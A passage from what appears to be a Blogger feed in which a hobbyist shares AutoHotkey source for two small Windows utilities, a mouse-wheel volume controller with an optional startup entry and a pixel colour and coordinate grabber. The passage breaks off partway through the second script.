    &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwFs2f8zBzKlLLwtNnouUZlq4nltNhS-G653GtMbjwRmhJVhyphenhyphen2n-RNm2qUi8uSAmfKi1qsZ-_g0ZqFZ3V6bnS1d4JIP6lHI-AP-paAEwxrJNnn1yXpk9wz9T8kt2_0TFBHPm1PcC8ROesu/s1600/Volume_Revolver_Final_Help_Screen.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwFs2f8zBzKlLLwtNnouUZlq4nltNhS-G653GtMbjwRmhJVhyphenhyphen2n-RNm2qUi8uSAmfKi1qsZ-_g0ZqFZ3V6bnS1d4JIP6lHI-AP-paAEwxrJNnn1yXpk9wz9T8kt2_0TFBHPm1PcC8ROesu/s1600/Volume_Revolver_Final_Help_Screen.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
    &lt;h3 style=&quot;color: red;&quot;&gt;Downloads&lt;/h3&gt;
    &lt;ul style=&quot;list-style: none&quot;&gt;
      &lt;li&gt;Portable compiled executable: &lt;a href=&quot;https://app.box.com/s/e7e3lo8a5d7hjzzligry9z7ldjd9aq3w&quot; target=&quot;_blank&quot;&gt;volumerevolver.exe&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;AHK script: &lt;a href=&quot;https://app.box.com/s/ehyl2v6t9umgnkzt8q1j8rkdfxygmw02&quot; target=&quot;_blank&quot;&gt;volumerevolver.ahk&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Icon - for use with ahk script: &lt;a href=&quot;https://app.box.com/s/99orx16mu24utzt3y3nt6k8f5zejopqu&quot; target=&quot;_blank&quot;&gt;volumerevolver.ico&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
    &lt;center&gt;
      &lt;h4 style=&quot;color: #FF7777; font-weight: normal;&quot;&gt;AHK Script Source&lt;/h4&gt;
    &lt;/center&gt;
    &lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
#SingleInstance, Force

;Variables
SetWorkingDir, %A_ScriptDir%
_vttclss := &quot;ahk_class tooltips_class32&quot;
_vThsScrpt := A_WorkingDir &quot;\&quot; A_ScriptName
;_vIco := A_WorkingDir &quot;\volumerevolver.ico&quot; 
;Menu, Tray, Icon, %_vIco%
_fRgRd(_vThsScrpt, _vIco)
OnExit, gsAppClose

;End Auto-execute
Return

;Hotkeys
~^MButton::_fHlp()
^WheelUp::Gosub, gsVUO
+WheelUp::Gosub, gsVU
+WheelDown::Gosub, gsVD
!WheelUp::
 SoundSet, 0, , mute
 _fGtSnd(_vttclss,&quot;1&quot;)
Return
^WheelDown::Gosub, gsVDO
!WheelDown::
 SoundSet, 1, , mute
 _fGtSnd(_vttclss,&quot;1&quot;)
Return
;gosubs
gsRld:
 Reload
Return
gsTT:
 ToolTip,,,,1
Return
gsVU:
 SoundSet, +10
 _fGtSnd(_vttclss)
Return
gsVD:
 SoundSet, -10
 _fGtSnd(_vttclss)
Return
gsVUO:
 SoundSet, +1
 _fGtSnd(_vttclss)
Return
gsVDO:
 SoundSet, -1
 _fGtSnd(_vttclss)
Return
gsRgWrtEn:
 RegWrite, REG_SZ, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, VolumeRevolver, % _vThsScrpt
 _fRgRd(_vThsScrpt, _vIco)
Return
gsRgWrtDs:
 RegDelete, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, VolumeRevolver
 _fRgRd(_vThsScrpt, _vIco)
Return

;Functions
_fRgRd(_vThsScrpt, _vIco){
 Menu, Tray, DeleteAll
 RegRead, _vStts, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, VolumeRevolver
 Menu, Tray, NoStandard
 Menu, Tray, Add, Volume +10, gsVU
 Menu, Tray, Add, Volume -10, gsVD
 Menu, Tray, Add, Toggle &amp;Mute, _fTgMt
 Menu, Tray, Add
 If (_vStts = &quot;&quot;)
  Menu, Tray, Add, Enable at &amp;startup, gsRgWrtEn
 Else
  {
   If (_vStts = _vThsScrpt)
    Menu, Tray, Add, Disable at &amp;startup, gsRgWrtDs
   Else
    Menu, Tray, Add, Fix &amp;startup, gsRgWrtDs
  }
 Menu, Tray, Add, &amp;Help, _fHlp
 Menu, Tray, Add, &amp;Reload Volume Revolver, gsRld
 Menu, Tray, Add
 Menu, Tray, Add, E&amp;xit, gsAppClose
 ;Menu, Tray, Icon, E&amp;xit, %_vIco%, ,16
} 
MouseOver(_vXa, _vYa, _vXb, _vYb)
{
 MouseGetPos, _vPx, _vPy
 _vDtct := _vPx &gt;= _vXa AND _vPx &lt;= _vXb AND _vPy &gt;= _vYa AND _vPy &lt;= _vYb
 Return _vDtct
}
WM_SHOWWINDOW(){
 WM_MOUSEHOVER()
}
WM_MOUSEHOVER(){
 If MouseOver(&quot;72&quot;,&quot;246&quot;,&quot;192&quot;,&quot;272&quot;)
  _fGCntrl(&quot;230&quot;,&quot;238&quot;,&quot;42&quot;)
 Else
  _fGCntrl(&quot;246&quot;,&quot;246&quot;,&quot;26&quot;)
 _fHdShw(&quot;8&quot;,&quot;64&quot;,&quot;38&quot;,&quot;1&quot;,&quot;2&quot;)
 _fHdShw(&quot;42&quot;,&quot;64&quot;,&quot;72&quot;,&quot;3&quot;,&quot;4&quot;)
 _fHdShw(&quot;76&quot;,&quot;64&quot;,&quot;106&quot;,&quot;5&quot;,&quot;6&quot;)
 _fHdShw(&quot;110&quot;,&quot;64&quot;,&quot;140&quot;,&quot;7&quot;,&quot;8&quot;)
 _fHdShw(&quot;144&quot;,&quot;64&quot;,&quot;174&quot;,&quot;9&quot;,&quot;10&quot;)
 _fHdShw(&quot;178&quot;,&quot;64&quot;,&quot;208&quot;,&quot;11&quot;,&quot;12&quot;)
 _fHdShw(&quot;212&quot;,&quot;64&quot;,&quot;232&quot;,&quot;13&quot;,&quot;14&quot;)
}
_fHdShw(_xb, _xc, _xd, _a, _b){
 If MouseOver(&quot;8&quot;,_xb,_xc,_xd)
  {
   _fGCntrlShw(_a)
   _fGCntrlShw(_b)
  }
 Else
  {
   _fGCntrlHd(_a)
   _fGCntrlHd(_b)
  }
}
_fGCntrl(_vY1, _vY2, _vH){
 Global t15, t16
 GuiControl Move, t15, x72 y%_vY1% w120 h%_vH% 100, 100
 GuiControl Move, t16, x72 y%_vY2% w120 
 Control ExStyle, -0x20000, ,% &quot;ahk_id&quot; t15
}
_fGCntrlShw(_vTStrtIndx){
 Global t1, t2,t3, t4, t5, t6, t7, t15, t16, t10, t11, t12, t13, t14
 GuiControl, Show, t%_vTStrtIndx%
 Control ExStyle, -0x20000, ,% &quot;ahk_id&quot; t%_vTStrtIndx%
}
_fGCntrlHd(_vTStrtIndx){
 Global t1, t2,t3, t4, t5, t6, t7, t15, t16, t10, t11, t12, t13, t14
 GuiControl, Hide, t%_vTStrtIndx%
}
WM_LBUTTONDOWN(wParam,lParam,msg,hwnd){ ; Move window when grabbed and dragged
 PostMessage, 0xA1, 2
 If MouseOver(&quot;72&quot;,&quot;246&quot;,&quot;192&quot;,&quot;272&quot;)
  Gosub, GuiClose
}
_fHlp(){
 Global t1, t2,t3, t4, t5, t6, t7, t15, t16, t10, t11, t12, t13, t14, t15, t16
 OnMessage(0x201,&quot;WM_LBUTTONDOWN&quot;)
 OnMessage(0x200,&quot;WM_MOUSEHOVER&quot;)
 OnMessage(0x18,&quot;WM_SHOWWINDOW&quot;)
 Gui, Destroy
 Gui, Color, 0093E4, 333333 
 Gui, Add, Progress,x4 y4 w192 h272 cFFFFFF BackgroundFFFFFF, 100
 Gui, Add, Progress,x4 y4 w64 h272 c0093E4 BackgroundFFFFFF, 100
 Gui, Add, Text,+BackgroundTrans +Center xp+4 yp+4 w56 h30 cFFFFFF,Ctrl+Wheel Up
 Gui, Add, Text,+BackgroundTrans +Center xp+64 yp w124 h30 c0093E4,Volume Up - Slow
 Gui, Add, Text,+BackgroundTrans +Center xp-64 yp+34 w56 h30 cFFFFFF ,Ctrl+Wheel Down
 Gui, Add, Text,+BackgroundTrans +Center xp+64 yp w124 h30 c0093E4 ,Volume Down - Slow
 Gui, Add, Text,+BackgroundTrans +Center xp-64 yp+34 w56 h30 cFFFFFF ,Shift+Wheel Up
 Gui, Add, Text,+BackgroundTrans +Center xp+64 yp w124 h30 c0093E4 ,Volume Up - Fast
 Gui, Add, Text,+BackgroundTrans +Center xp-64 yp+34 w56 h30 cFFFFFF ,Shift+Wheel Down
 Gui, Add, Text,+BackgroundTrans +Center xp+64 yp w124 h30 c0093E4 ,Volume Down - Fast
 Gui, Add, Text,+BackgroundTrans +Center xp-64 yp+34 w56 h30 cFFFFFF ,Alt+Wheel Up
 Gui, Add, Text,+BackgroundTrans +Center xp+64 yp w124 h30 c0093E4 ,Mute Off
 Gui, Add, Text,+BackgroundTrans +Center xp-64 yp+34 w56 h30 cFFFFFF ,Alt+Wheel Down
 Gui, Add, Text,+BackgroundTrans +Center xp+64 yp w124 h30 c0093E4 ,Mute On
 Gui, Add, Text,+BackgroundTrans +Center xp-64 yp+34 w56 h30 cFFFFFF ,Ctrl+Click Wheel
 Gui, Add, Text,+BackgroundTrans +Center xp+64 yp w124 h30 c0093E4 ,This help screen
 _fMkHvrBttns(&quot;8&quot;,&quot;1&quot;,&quot;2&quot;,&quot;Volume Up - Slow&quot;)
 _fMkHvrBttns(&quot;42&quot;,&quot;3&quot;,&quot;4&quot;,&quot;Volume Down - Slow&quot;)
 _fMkHvrBttns(&quot;76&quot;,&quot;5&quot;,&quot;6&quot;,&quot;Volume Up - Fast&quot;)
 _fMkHvrBttns(&quot;110&quot;,&quot;7&quot;,&quot;8&quot;,&quot;Volume Down - Fast&quot;)
 _fMkHvrBttns(&quot;144&quot;,&quot;9&quot;,&quot;10&quot;,&quot;Mute Off&quot;)
 _fMkHvrBttns(&quot;178&quot;,&quot;11&quot;,&quot;12&quot;,&quot;Mute On&quot;)
 _fMkHvrBttns(&quot;212&quot;,&quot;13&quot;,&quot;14&quot;,&quot;This help screen&quot;) 
 Gui, Add, Progress, xp-64 yp+25 w56 h26 cFFFFFF BackgroundFFFFFF, 100
 Gui, Add, Text,+BackgroundTrans +Center xp yp w56 h30 c0093E4 ,Volume Revolver
 Gui, Add, Progress,x72 y246 w120 h26 c0093E4 Background0093E4 vt15 hwndt15, 100
 Gui, Font, s16 cWhite, Verdana
 Gui, Add, Text,+BackgroundTrans +Center xp yp w120 vt16, Exit
 Gui, -Caption +AlwaysOnTop 0x80880000
 Gui, Show,w200 h280, Volume Revolver Help
}
_fMkHvrBttns(_vY, _vVrA, _vVrB, _vMsg){
 Global t1, t2,t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14
 Gui, Add, Progress,x72 y%_vY% w120 h34 c0093E4 Background0093E4 Hidden vt%_vVrA%, 100
 Gui, Add, Text,+BackgroundTrans +Center xp yp+9 w124 h30 cFFFFFF Hidden vt%_vVrB%, %_vMsg%
}
_fTgMt(){
 SoundGet, _vMtSt, Master, Mute
 If (_vMtSt = &quot;On&quot;)
  SoundSet, 0, , mute
 Else
  SoundSet, 1, , mute
}
_fGtSnd(_vttclss, _vType = 0){
 SetFormat, Float, 0
 SetTimer, gsTT, -750
 If (_vType = &quot;1&quot;)
  {
   SoundGet, _vMt, Master, Mute
   _fIntTT(_vX, _vY)
   ToolTip, % &quot;Mute is &quot; _vMt,%_vX%,%_vY%,1
   _fCntrObj(_vX, _vY)
  }
 Else 
  {
   SoundGet, _vMstr, Master
   _fIntTT(_vX, _vY)
   ToolTip, % &quot;Volume: &quot; _vMstr,%_vX%,%_vY%,1 
   _fCntrObj(_vX, _vY)
  }
 SetFormat, Float, 0.000000
}
_fIntTT(ByRef _vX, ByRef _vY){
 _fGtScrn(_vScrnW, _vScrnH)
 _vX := (_vScrnW / 2)
 _vY := (_vScrnH / 2) 
}
_fGtScrn(ByRef _vScrnW, ByRef _vScrnH){
 SysGet, _vScrn, MonitorWorkArea
 _vScrnW := _vScrnRight - _vScrnLeft
 _vScrnH := _vScrnBottom - _vScrnTop
}
_fCntrObj(ByRef _vX, ByRef _vY, _vTt := &quot;ahk_class tooltips_class32&quot;) {
 _fGtScrn(_vScrnW, _vScrnH)
 WinGetPos, , , _vGtTtX, _vGtTtY, %_vTt%
 _vX := (_vScrnW / 2) - (_vGtTtX / 2)
 _vY := (_vScrnH / 2) - (_vGtTtY / 2)
 WinMove, %_vTt%, , %_vX%, %_vY%
}
GuiEscape:
GuiClose:
 Gui, Destroy
Return
gsAppClose:
 ExitApp
        &lt;/pre&gt;
  &lt;/div&gt;
     &lt;hr style=&quot;border-style: dashed;&quot; /&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/06/volume-revolver-sound-control-with.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
    &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/06/volume-revolver-sound-control-with.html&quot; data-via=&quot;Lateralus138&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
    &lt;hr style=&quot;border-style: dashed;&quot; /&gt;
  &lt;script src=&quot;https://apis.google.com/js/platform.js&quot; async defer&gt;&lt;/script&gt; 
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/06/volume-revolver-sound-control-with.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwFs2f8zBzKlLLwtNnouUZlq4nltNhS-G653GtMbjwRmhJVhyphenhyphen2n-RNm2qUi8uSAmfKi1qsZ-_g0ZqFZ3V6bnS1d4JIP6lHI-AP-paAEwxrJNnn1yXpk9wz9T8kt2_0TFBHPm1PcC8ROesu/s72-c/Volume_Revolver_Final_Help_Screen.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-9000728315922354093</guid><pubDate>Sun, 22 May 2016 22:30:00 +0000</pubDate><atom:updated>2016-05-23T12:03:19.242-05:00</atom:updated><title>Pixel Grabber (coordinate and pixel color info at mouse position - utility written in AHK) </title><description>&lt;div style=&quot;background: url(&amp;quot;https://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&amp;quot;); border-radius: 10px; box-shadow: rgb(14, 30, 0) 0px 0px 8px 8px; font-family: georgia, serif; height: 100%; margin: auto; overflow: hidden; padding: 4px; width: 100%;&quot;&gt;
&lt;div id=&quot;fb-root&quot; style=&quot;color: white;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;color: white;&quot;&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;
    &lt;/div&gt;
&lt;center style=&quot;color: white;&quot;&gt;
        &lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;
Pixel Grabber V1.0&lt;/h1&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
        &lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/pixel-grabber-coordinate-and-pixel.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;g-plusone&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;display: inline-block; margin-left: -40px; vertical-align: top;&quot;&gt;
&lt;a class=&quot;twitter-share-button&quot; data-url=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/pixel-grabber-coordinate-and-pixel.html&quot; data-via=&quot;Lateralus138&quot; href=&quot;https://twitter.com/share&quot; data-text=&quot;Pixel Grabber V1.0&quot;&gt;Tweet&lt;/a&gt;
        &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt;
        &lt;/div&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
    &lt;/center&gt;
&lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
&lt;div style=&quot;color: white; text-indent: 24px;&quot;&gt;
If you are a graphic designer then you may be familiar with ColorPic or Gpic; for those of you who aren&#39;t familiar with those programs (or other alternatives) these are color picker &amp;nbsp;and swatch programs (Gpic can convert PS .ase to GIMP .gpl and vice versa) that are great for retrieving color and some window info at the mouse cursor.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: white; text-indent: 24px;&quot;&gt;
There are quite a few decent alternatives out there, but I wanted something more tailored to my needs since not only do I do graphic design, but I also build lots of GUI&#39;s in AutoHotkey and so I wrote a utility that is great for graphic design, but also good for building AHK GUI&#39;s.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
&lt;span style=&quot;color: yellow;&quot;&gt;Pixel Grabber&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt; V1.0 is a small utility that retrieves coordinate and color information at the mouse cursor simply by holding the Contol key and left clicking (&lt;/span&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Ctrl+Left Click&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;). For now the information retrieved is the Windows title (not all windows have names), the Screen (Desktop) and Client &amp;nbsp;(if exists) coordinates relative to the each, and the actual pixels color with the code and a preview of the color. All information is copied to the clipboard in subsequent order, but the clipboards contents can be cleared with a button.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;
Downloads&lt;/h3&gt;
&lt;h4 style=&quot;color: #ff7777; font-weight: normal;&quot;&gt;
Copyright Ian Pride 2016 © This program is distributed under the terms of the GNU General Public License.&lt;/h4&gt;
&lt;div style=&quot;color: white; text-indent: 24px;&quot;&gt;
Your choice of just the portable executable or the zip package which inludes the executable, source code, and a copy of the license:
&lt;br /&gt;
&lt;ul style=&quot;color: white; list-style: none;&quot;&gt;
&lt;li&gt;Portable Executable: &lt;a href=&quot;https://app.box.com/s/qbqapobmrmhqjxahx6wdhspz56lp0vjp&quot; target=&quot;_blank&quot;&gt;Pixel Grabber V1.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Portable Executable w/ Source &amp;amp; GPL: &lt;a href=&quot;https://app.box.com/s/wtekkg3uf39iu8ho5hhrklc9ky4ik9zx&quot; target=&quot;_blank&quot;&gt;PixelGrabberv1.0.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div style=&quot;display: inline-block; text-indent: 0px;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDU8CEGVmtYPQYMCK9W_uEoyH3FB9cPPM7ms_G2j8DKcy7qqol9ABcN6oMjHpqNQUch0HhHi1DWn-NxM70Z0bXbKgoRqh0XiljYOqqEl5MMNDzA89pqTA3xX55yfx9MrBSLK1bKg4t36j3/s1600/pg_screen.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDU8CEGVmtYPQYMCK9W_uEoyH3FB9cPPM7ms_G2j8DKcy7qqol9ABcN6oMjHpqNQUch0HhHi1DWn-NxM70Z0bXbKgoRqh0XiljYOqqEl5MMNDzA89pqTA3xX55yfx9MrBSLK1bKg4t36j3/s1600/pg_screen.png&quot; style=&quot;float: left; margin-left: -16px;&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhijknGEsumhcBsVfigHZWJ3TfE_uj9jsz5I7wTNkCHkEboLvSAnR-AQKbtjpni4yh4fWeki7GekRegjlkAEDePWU_Hm1GebpuDltpGljgZN_cEKeh4OAJUZjXv6j6f8AURuA5Xxj06iml6/s1600/pg_screen2.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhijknGEsumhcBsVfigHZWJ3TfE_uj9jsz5I7wTNkCHkEboLvSAnR-AQKbtjpni4yh4fWeki7GekRegjlkAEDePWU_Hm1GebpuDltpGljgZN_cEKeh4OAJUZjXv6j6f8AURuA5Xxj06iml6/s1600/pg_screen2.png&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;h3 style=&quot;color: red;&quot;&gt;
Source Script (needs AHK, use the exe to use without install)&lt;/h3&gt;
&lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
; Name:   Pixel Grabber V1.0 
; Author: Lateralus138 (A.K.A Flux Apex A.K.A Ian Pride)
; Year: 2016
; Copyright Ian Pride 2016 © This program is distributed under the terms of the GNU General Public License.
; Email: faithnomoread@yahoo.com
; http://www.gnu.org/licenses/gpl-3.0.en.html
; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
;
; Gets window and color information at pixel coordinate 
; with the hotkeys: Ctrl+LeftClick. Very useful for 
; graphic design or writing AutoHotkey GUIs. 
; 
OnMessage(0x20, &quot;WM_SETCURSOR&quot;)
#SingleInstance, Force
Menu, Tray, NoStandard
Menu, Tray, Add, &amp;Help, gsHlp
Menu, Tray, Add, My &amp;Blog, gsMBlg 
Menu, Tray, Add
Menu, Tray, Add, E&amp;xit, gsExt
_fGtMn()
GuiControl, Show, gsRstClp %But%
Return
;End auto-execute

;Hotkeys
+Esc::Reload
^LButton::_fGtInf(_vX, _vY,_vRgb,_vBgr, _vWx, _vWy, _vWt, _vWw, _vWh, _vXc, _vYc)
;Gosubs
gsMBlg:
 Run, &quot;http://agnosticmicrocosm.blogspot.com/&quot;
Return
gsHlp:
 MsgBox,64,Pixel Grabber Help, % &quot;To use this simply hold Ctrl &amp; left click the place you&quot;
  . &quot;`nwant the coordinates &amp; color of. Coordinates &amp; color&quot; 
  . &quot;`nwill be displayed &amp; copied to your clipboard. Multiple&quot; 
  . &quot;`ninfo boxes can be left open and subsequent new&quot; 
  . &quot;`ncoordinates &amp; colors will be added to the clipboard&quot; 
  . &quot;`nstack.&quot;
Return
gsHide:
 Gui, Cancel
Return
MainGuiEscape:
 Gosub, gsHide
Return
gsRstClp:
 clipboard =
Return

;Functions
MouseOver(_vXa, _vYa, _vXb, _vYb)
{
 MouseGetPos, _vPx, _vPy
 _vDtct := _vPx &gt;= _vXa AND _vPx &lt;= _vXb AND _vPy &gt;= _vYa AND _vPy &lt;= _vYb
 Return _vDtct
}
WM_SETCURSOR(){
 Loop
  {
   If MouseOver(0, 0, 250, 344) {
    If Not hCursor1 { 
      hCursor1 := DllCall(&quot;LoadCursor&quot;, &quot;uint&quot;, 0, &quot;uint&quot;, 32512)
     }
    DllCall(&quot;SetCursor&quot;, &quot;uint&quot;, hCursor1)
    ;Return True
   } 
   If MouseOver(135, 164, 247, 186) Or MouseOver(135, 190, 247, 212) Or MouseOver(135, 216, 247, 238) Or MouseOver(135, 242, 247, 264) {
    If Not hCursor2 { 
      hCursor2 := DllCall(&quot;LoadCursor&quot;, &quot;uint&quot;, 0, &quot;uint&quot;, 32649)
     }
    DllCall(&quot;SetCursor&quot;, &quot;uint&quot;, hCursor2)
    Return True
   }
   GuiControl, Show, gsHlp %But%
   Break
  }
 Return
}
WM_SETCURSOR2(){
 Loop
  {
   IfWinActive, Pixel Grabber Info 
   {
    If MouseOver(20, 81, 66, 129) Or  MouseOver(256, 99, 290, 114) {
     If Not hCursor2 { ;Make sure the cursor is already loaded 
       hCursor2 := DllCall(&quot;LoadCursor&quot;, &quot;uint&quot;, 0, &quot;uint&quot;, 32649)
      }
     DllCall(&quot;SetCursor&quot;, &quot;uint&quot;, hCursor2)
     Return True ;Stop further processing
    }  
   }
  }
 Return
}

_fGtInf(ByRef _vX, ByRef _vY, ByRef _vRgb, ByRef _vBgr, ByRef _vWx, ByRef _vWy, ByRef _vWt, ByRef _vWw, ByRef  _vWh, ByRef _vXc, ByRef _vYc){
 OnMessage(0x20, &quot;WM_SETCURSOR2&quot;)
 CoordMode, Mouse, Screen
 MouseGetPos, _vX, _vY
 MouseGetPos,,,_vWPn
 WinActivate, ahk_id %_vWPn%
 CoordMode, Mouse, Window
 MouseGetPos, _vXc, _vYc
 WinGetActiveStats, _vWt, _vWw, _vWh, _vWx, _vWy
 If (_vWx = &quot;-5&quot;){
  _vWx := &quot;0&quot;
  _vXc := _vXc - 5
 }
 If (_vWy = &quot;-5&quot;){
  _vWy := &quot;0&quot;
  _vYc := _vYc - 5
 }
 CoordMode, Pixel, Screen
 PixelGetColor, _vRgb , %_vX%, %_vY%,RGB
 PixelGetColor, _vBgr , %_vX%, %_vY%
 clipboard := clipboard &quot;`nWindow Name: `n&quot; _vWt &quot;`nDesktop Relative:`nx&quot; _vX &quot; y&quot; _vY &quot;`nWindow Relative: `nx&quot; _vXc &quot; y&quot; _vYc &quot;`nColor at coordinate: `n&quot; _vRgb &quot;`n&quot;
 Gui, New
 Gui, Add, Text, w300+BackgroundTrans, % &quot;Active Window Name:`n&quot; 
  . _vWt
  . &quot;`n`nWindow upper left starting position: `nx: &quot;
  . _vWx &quot;        |     y: &quot; _vWy 
  . &quot;`n`nDesktop relative coordinates at mouse position:`nx: &quot; 
  . _vX &quot;        |     y: &quot; _vY 
  . &quot;`n`nWindow relative coordinates at mouse position:`nx: &quot; 
  . _vXc &quot;        |     y:&quot; _vYc 
  . &quot;`n`nCoordinates and color have been copied to your clipboard.&quot; 
 Gui, Add, Progress, xp+5 yp+186 w50 h50 c%_vRgb%,100
 StringReplace, _vRgb, _vRgb, 0x,
 Gui, Add, Text, +BackgroundTrans xp+60 yp+18, % &quot;Color at mouse postion: &quot; . _vRgb
 Gui, Add, Button, xp+175 yp-2 ggsHide, Close
 Gui, Show,w300 ,Pixel Grabber Info
 Return
}
WM_MOUSELEAVE(){
}
_fGtMn(){

 OnMessage(0x20, &quot;WM_SETCURSOR&quot;)
 Gui, New
 Gui, Main: Default
 Gui, Font, s8, Cambria
 _fGrphx(&quot;125&quot;,&quot;0&quot;,&quot;66&quot;,&quot;100&quot;,&quot;125&quot;,&quot;125&quot;,&quot;EF7D1A&quot;,&quot;2&quot;,&quot;2&quot;)
 _fGrphx(&quot;0&quot;,&quot;125&quot;,&quot;66&quot;,&quot;100&quot;,&quot;125&quot;,&quot;125&quot;,&quot;EF7D1A&quot;,&quot;2&quot;,&quot;2&quot;)
 _fGrphx(&quot;0&quot;,&quot;0&quot;,&quot;66&quot;,&quot;100&quot;,&quot;125&quot;,&quot;125&quot;,&quot;7DA485&quot;,&quot;2&quot;,&quot;2&quot;)
 _fTxtBrdr(&quot;Pixel&quot;,&quot;16&quot;,&quot;0&quot;,&quot;EF7D1A&quot;,&quot;white&quot;,&quot;28&quot;)
 _fTxtBrdr(&quot;Grabber&quot;,&quot;100&quot;,&quot;0&quot;,&quot;7DA485&quot;,&quot;white&quot;,&quot;28&quot;)
 Gui, Font, s11, Cambria
 Gui, Main: Add, Progress, -Smooth Disabled cEF7D1A Background3F3F3F x135  y141  w112 h22, 100
 _fTxtBrdr2(&quot;Reset Clipboard&quot;,&quot;112&quot;,&quot;22&quot;, &quot;gsRstClp&quot;,&quot;135&quot;,&quot;141&quot;,&quot;7DA485&quot;,&quot;White&quot;,&quot;11&quot;)
